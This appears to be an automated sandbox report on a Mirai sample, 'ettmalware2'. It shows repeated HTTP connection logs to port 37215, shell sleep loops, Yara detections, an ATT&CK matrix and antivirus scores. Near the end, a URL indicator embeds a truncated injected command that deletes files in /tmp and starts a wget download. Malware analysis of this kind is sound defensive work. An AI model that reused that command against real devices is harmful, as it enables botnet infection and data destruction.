Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56078 -> 37215

Source: /bin/sh (PID: 6871)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 6898)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 6925)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 6953)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 6995)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7025)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7045)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7083)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7107)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7137)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7165)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7194)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7223)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7246)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7274)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7305)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7331)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7361)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7387)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7417)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7444)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7475)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7489)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7527)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7546)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7574)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7611)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7644)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7670)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7694)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7801)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7845)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7872)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7893)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7925)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7956)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 7981)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8011)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8041)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8071)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8099)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8114)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8154)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8194)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8235)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8262)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8290)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8318)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8337)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8375)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8402)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8418)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8446)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8486)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8527)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8555)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8592)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8622)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8647)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8679)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8780)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8810)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8844)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8867)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8896)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8927)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8955)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 8970)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9007)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9040)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9076)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9108)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9134)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9173)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9216)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9230)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9270)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9298)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9319)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9352)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9382)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9402)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9438)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9479)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9495)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9523)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9575)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9590)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9633)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9659)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9766)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9797)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9823)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9852)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9880)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9903)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9923)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9961)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 9989)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10019)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10045)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10086)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10113)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10157)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10184)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10214)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10242)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10268)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10303)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10335)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10357)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10388)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10407)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10436)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10474)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10511)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10543)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10585)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10611)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10637)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10719)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10765)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10791)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10818)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10845)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10856)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10868)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10886)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10909)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10926)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10935)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 10978)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11000)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11025)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11048)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11070)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11093)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11112)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11131)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11151)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11169)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11184)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11206)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11226)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11251)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11287)	Sleep executable: /bin/sleep -> sleep 1	Jump to behavior
Source: /bin/sh (PID: 11309)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11326)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11347)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11358)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11408)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11414)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11432)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11437)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11448)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11456)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11468)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11484)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11496)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11504)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11528)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11537)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11565)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11573)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11601)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11613)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11629)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11637)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11647)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11655)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11669)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11684)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11700)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11725)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11741)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11749)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11769)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11777)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11785)	Sleep executable: /bin/sleep -> sleep 1
Source: /bin/sh (PID: 11801)	Sleep executable: /bin/sleep -> sleep 1

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: ettmalware2, type: SAMPLE
Source: Yara match	File source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: ettmalware2, type: SAMPLE
Source: Yara match	File source: 6806.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6817.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6813.1.0000000008048000.000000000805a000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	11 Non-Standard Port	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Service Stop
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ettmalware2	62%	Virustotal		Browse
ettmalware2	46%	Metadefender		Browse
ettmalware2	74%	ReversingLabs	Linux.Trojan.Mirai
ettmalware2	100%	Avira	LINUX/Mirai.sznlt
ettmalware2	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
